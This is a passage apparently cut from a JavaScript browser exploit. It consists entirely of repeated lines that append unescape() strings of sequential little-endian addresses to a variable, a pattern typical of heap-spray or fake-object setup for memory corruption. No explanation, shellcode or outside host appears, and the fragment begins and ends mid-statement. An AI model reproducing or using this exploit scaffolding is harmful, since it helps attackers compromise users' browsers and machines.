unescape(\"%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc\");\n    str    += unescape(\"%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc\");\n    str    += unescape(\"%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c\");\n    str    += unescape(\"%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c\");\n    str    += unescape(\"%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc\");\n    str    += unescape(\"%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc\");\n    str    += unescape(\"%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c\");\n    str    += unescape(\"%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c\");\n    str    += unescape(\"%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc\");\n    str    += unescape(\"%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc\");\n    str    += unescape(\"%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c\");\n    str    += unescape(\"%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c\");\n    str    += unescape(\"%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc\");\n    str    += unescape(\"%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc\");\n    str    += unescape(\"%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c\");\n    str    += unescape(\"%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c\");\n    str    += unescape(\"%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc\");\n    str    += unescape(\"%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc\");\n    str    += unescape(\"%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c\");\n    str    += unescape(\"%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c\");\n    str    += unescape(\"%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc\");\n    str    += unescape(\"%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc\");\n    str    += unescape(\"%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c\");\n    str    += unescape(\"%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c\");\n    str    += unescape(\"%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc\");\n    str    += unescape(\"%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc\");\n    str    += unescape(\"%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c\");\n    str    += unescape(\"%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c\");\n    str    += unescape(\"%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc\");\n    str    += unescape(\"%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc\");\n    str    += unescape(\"%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c\");\n    str    += unescape(\"%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c\");\n    str    += unescape(\"%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc\");\n    str    += unescape(\"%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc\");\n    str    += unescape(\"%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c\");\n    str    += unescape(\"%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c\");\n    str    += unescape(\"%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc\");\n    str    += unescape(\"%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc\");\n    str    += unescape(\"%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c\");\n    str    += unescape(\"%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c\");\n    str    += unescape(\"%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc\");\n    str    += unescape(\"%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc\");\n    str    += unescape(\"%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c\");\n    str    += unescape(\"%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c\");\n    str    += unescape(\"%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc\");\n    str    += unescape(\"%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc\");\n    str    += unescape(\"%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c\");\n    str    += unescape(\"%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c\");\n    str    += unescape(\"%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc\");\n    str    += unescape(\"%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc\");\n    str    += unescape(\"%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c\");\n    str    += unescape(\"%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c\");\n    str    += unescape(\"%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc\");\n    str    += unescape(\"%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc\");\n    str    += unescape(\"%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c\");\n    str    += unescape(\"%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c\");\n    str    += unescape(\"%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc\");\n    str    += unescape(\"%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc\");\n    str    += unescape(\"%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c\");\n    str    += unescape(\"%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c\");\n    str    += unescape(\"%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc\");\n    str    += unescape(\"%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc\");\n    str    += unescape(\"%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c\");\n    str    += unescape(\"%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c\");\n    str    += unescape(\"%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc\");\n    str    += unescape(\"%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc\");\n    str    += unescape(\"%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c\");\n    str    += unescape(\"%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c\");\n    str    += unescape(\"%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc\");\n    str    += unescape(\"%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc\");\n    str    += unescape(\"%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c\");\n    str    += unescape(\"%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c\");\n    str    += unescape(\"%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc\");\n    str    += unescape(\"%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc\");\n    str    += unescape(\"%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c\");\n    str    += unescape(\"%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c\");\n    str    += unescape(\"%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc\");\n    str    += unescape(\"%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc\");\n    str    += unescape(\"%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c\");\n    str    += unescape(\"%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c\");\n    str    += unescape(\"%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc\");\n    str    += unescape(\"%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc\");\n    str    += unescape(\"%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c\");\n    str    += unescape(\"%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c\");\n    str    += unescape(\"%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc\");\n    str    += unescape(\"%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc\");\n    str    += unescape(\"%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c\");\n    str    += unescape(\"%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c\");\n    str    += unescape(\"%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc\");\n    str    += unescape(\"%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc\");\n    str    += unescape(\"%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c\");\n    str    += unescape(\"%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c\");\n    str    += unescape(\"%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc\");\n    str    += unescape(\"%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc\");\n    str    += unescape(\"%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c\");\n    str    += unescape(\"%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c\");\n    str    += 